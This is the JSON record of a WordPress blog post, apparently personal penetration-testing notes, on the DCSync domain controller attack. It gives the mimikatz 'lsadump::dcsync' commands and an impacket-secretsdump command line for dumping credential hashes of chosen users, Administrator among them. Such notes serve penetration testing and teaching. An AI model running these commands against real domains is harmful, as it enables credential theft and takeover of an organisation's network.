{"id":4333,"date":"2024-09-08T17:49:17","date_gmt":"2024-09-08T15:49:17","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=4333"},"modified":"2024-09-08T17:55:22","modified_gmt":"2024-09-08T15:55:22","slug":"domain-controller-attacks","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=4333","title":{"rendered":"Domain Controller attacks"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Attacking Domain Controller Synchronization<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <span class=\"caps\">DRS<\/span> Direc\u00adto\u00adry Repli\u00adca\u00adtion Ser\u00advice is respon\u00adsi\u00adble to repli\u00adcate a DC\u2019s data to mul\u00adti\u00adple redun\u00addant&nbsp;DC\u2019s.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sce\u00adnario: You own a user who has one of the fol\u00adlow\u00ading rights:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>Repli\u00adcat\u00ading Direc\u00adto\u00adry Changes<\/em><\/li>\n\n\n\n<li><em>Repli\u00adcat\u00ading Direc\u00adto\u00adry Changes All<\/em><\/li>\n\n\n\n<li><em>Repli\u00adcat\u00ading Direc\u00adto\u00adry Changes in Fil\u00adtered&nbsp;Set<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Nor\u00admal\u00adly, users in the fol\u00adlow\u00ading groups have these (could be con\u00adfig\u00adured oth\u00ader\u00adwise, of course):<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Domain Admins<\/li>\n\n\n\n<li>Enter\u00adprise Admins<\/li>\n\n\n\n<li>Admin\u00adis\u00adtra\u00adtors<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">You can check with the script in <a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=1297\" data-type=\"post\" data-id=\"1297\">Basic Active Direc\u00adto\u00adry Enu\u00admer\u00ada\u00adtion<\/a> which users in the domain have these permissions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you have the&nbsp;power:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">On Windows<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Start mimikatz<\/li>\n\n\n\n<li>Exe\u00adcute for the user with the per\u00admis\u00adsions. Mimikatz will imper\u00adson\u00adat\u00ading as a <span class=\"caps\">DC<\/span> and using repli\u00adca\u00adtion com\u00admands to get all cre\u00adden\u00adtials from the giv\u00aden user:<br><code>lsadump::dcsync \/user:corp\\peter<\/code><\/li>\n\n\n\n<li>Repeat this for all inter\u00adest\u00ading users. E.g.<br><code>lsadump::dcsync \/user:corp\\Administrator<\/code><\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">On Linux<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Per\u00adform the fol\u00adlow\u00ading against <em>some<\/em> tar\u00adget with the $admi\u00adnUser and another\/the same $user\u00adTo\u00adBreak to get the hash\u00ades&nbsp;from.:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">impacket-secretsdump -just-dc-user $userToBreak corp.com\/$adminUser:\"Winter2023!\"@$target<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Attack\u00ading Domain Con\u00adtroller Syn\u00adchro\u00adniza\u00adtion The <span class=\"caps\">DRS<\/span> Direc\u00adto\u00adry Repli\u00adca\u00adtion Ser\u00advice is respon\u00adsi\u00adble to repli\u00adcate a <span class=\"caps\">DC<\/span>\u2019s data to mul\u00adti\u00adple redun\u00addant&nbsp;<span class=\"caps\">DC<\/span>\u2019s. Sce\u00adnario: You own a user who has one of the fol\u00adlow\u00ading rights: Nor\u00admal\u00adly, users in the fol\u00adlow\u00ading groups have these (could be con\u00adfig\u00adured oth\u00ader\u00adwise, of course): You can check with the script in Basic Active Directory&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[472],"tags":[507,508],"class_list":["post-4333","post","type-post","status-publish","format-standard","hentry","category-postexp","tag-dc","tag-domain-controller"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4333"}],"version-history":[{"count":3,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4333\/revisions"}],"predecessor-version":[{"id":4341,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4333\/revisions\/4341"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4333"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}